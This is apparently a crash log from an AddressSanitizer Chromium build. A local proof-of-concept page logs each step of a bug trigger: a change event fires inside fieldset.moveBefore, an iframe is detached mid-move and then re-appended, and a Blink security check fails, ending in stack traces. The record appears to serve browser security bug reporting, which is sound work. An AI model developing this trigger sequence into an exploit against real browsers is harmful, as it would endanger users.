[1315:1315:0614/031715.894490:INFO:CONSOLE:47] "[main] starting, victim.contentWindow = [object Window]", source: http://127.0.0.1:8000/poc.html (47)
[1315:1315:0614/031715.894599:INFO:CONSOLE:47] "[ptr] num.disabled = false", source: http://127.0.0.1:8000/poc.html (47)
[1315:1315:0614/031715.894658:INFO:CONSOLE:47] "[ptr] num rect = {"x":0,"y":0,"width":300,"height":100,"top":0,"right":300,"bottom":100,"left":0}", source: http://127.0.0.1:8000/poc.html (47)
[1315:1315:0614/031715.894718:INFO:CONSOLE:47] "[ptr] clicking at (290, 25)", source: http://127.0.0.1:8000/poc.html (47)
[1404:1404:0614/031716.025536:FATAL:third_party/blink/renderer/core/html/html_frame_owner_element.cc:214] Security CHECK failed: !ContentFrame() || GetDocument().StatePreservingAtomicMoveInProgress(). 
#0 0x556461b1496a (/chromium/chromium/src/out/asan/chrome+0x11248969)
#1 0x55647a93ba98 (/chromium/chromium/src/out/asan/chrome+0x2a06fa97)
#2 0x55647a8f8377 (/chromium/chromium/src/out/asan/chrome+0x2a02c376)
#3 0x55647a60157b (/chromium/chromium/src/out/asan/chrome+0x29d3557a)
#4 0x55647a603239 (/chromium/chromium/src/out/asan/chrome+0x29d37238)
#5 0x556488e0bb56 (/chromium/chromium/src/out/asan/chrome+0x3853fb55)
#6 0x55648911b20f (/chromium/chromium/src/out/asan/chrome+0x3884f20e)
#7 0x55648910fa3b (/chromium/chromium/src/out/asan/chrome+0x38843a3a)
#8 0x55648be67473 (/chromium/chromium/src/out/asan/chrome+0x3b59b472)
#9 0x55648be6128f (/chromium/chromium/src/out/asan/chrome+0x3b59528e)
#10 0x55648be5c85e (/chromium/chromium/src/out/asan/chrome+0x3b59085d)
#11 0x55648cf2885c (/chromium/chromium/src/out/asan/chrome+0x3c65c85b)
#12 0x55646cce8654 (/chromium/chromium/src/out/asan/chrome+0x1c41c653)
#0 0x55648d7ee7fd (/chromium/chromium/src/out/asan/chrome+0x3cf227fc)
#1 0x55647b5d7fc4 (/chromium/chromium/src/out/asan/chrome+0x2ad0bfc3)
[1315:1315:0614/031716.028441:INFO:CONSOLE:47] "[ptr] pointerDown delivered, num.value = 6", source: http://127.0.0.1:8000/poc.html (47)
[1315:1315:0614/031716.029597:INFO:CONSOLE:47] "[main] calling fieldset.moveBefore(legend, null)", source: http://127.0.0.1:8000/poc.html (47)
[1315:1315:0614/031716.029696:INFO:CONSOLE:47] "[change] fired synchronously inside moveBefore()", source: http://127.0.0.1:8000/poc.html (47)
[1315:1315:0614/031716.029753:INFO:CONSOLE:47] "[change] victim.isConnected (before remove) = true", source: http://127.0.0.1:8000/poc.html (47)
[1315:1315:0614/031716.029804:INFO:CONSOLE:47] "[change] victim.isConnected (after remove)  = false", source: http://127.0.0.1:8000/poc.html (47)
[1315:1315:0614/031716.029854:INFO:CONSOLE:47] "[change] victim.contentWindow != null       = true", source: http://127.0.0.1:8000/poc.html (47)
[1315:1315:0614/031716.029927:INFO:CONSOLE:47] "[main] moveBefore() returned, fired_during_move = true", source: http://127.0.0.1:8000/poc.html (47)
[1315:1315:0614/031716.029984:INFO:CONSOLE:47] "[main] victim.contentWindow != null after moveBefore = true", source: http://127.0.0.1:8000/poc.html (47)
[1315:1315:0614/031716.030042:INFO:CONSOLE:47] "[main] re-appending victim -> expect SECURITY_CHECK crash", source: http://127.0.0.1:8000/poc.html (47)
Received signal 6
#0 0x556461b1496a (/chromium/chromium/src/out/asan/chrome+0x11248969)
#1 0x55647a93ba98 (/chromium/chromium/src/out/asan/chrome+0x2a06fa97)
#2 0x55647a8f8377 (/chromium/chromium/src/out/asan/chrome+0x2a02c376)
#3 0x55647a93ae9f (/chromium/chromium/src/out/asan/chrome+0x2a06ee9e)
#4 0x734dd7440050 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x3c04f)
#5 0x734dd748eeec (/usr/lib/x86_64-linux-gnu/libc.so.6+0x8aeeb)
#6 0x734dd743ffb2 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x3bfb1)
#7 0x734dd742a472 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x26471)
#8 0x55647a602df2 (/chromium/chromium/src/out/asan/chrome+0x29d36df1)
#9 0x55647a60217a (/chromium/chromium/src/out/asan/chrome+0x29d36179)
#10 0x55647a603239 (/chromium/chromium/src/out/asan/chrome+0x29d37238)
#11 0x556488e0bb56 (/chromium/chromium/src/out/asan/chrome+0x3853fb55)
#12 0x55648911b20f (/chromium/chromium/src/out/asan/chrome+0x3884f20e)
#13 0x55648910fa3b (/chromium/chromium/src/out/asan/chrome+0x38843a3a)
#14 0x55648be67473 (/chromium/chromium/src/out/asan/chrome+0x3b59b472)
#15 0x55648be6128f (/chromium/chromium/src/out/asan/chrome+0x3b59528e)
#16 0x55648be5c85e (/chromium/chromium/src/out/asan/chrome+0x3b59085d)
#17 0x55648cf2885c (/chromium/chromium/src/out/asan/chrome+0x3c65c85b)
#18 0x55646cce8654 (/chromium/chromium/src/out/asan/chrome+0x1c41c653)
[end of stack trace]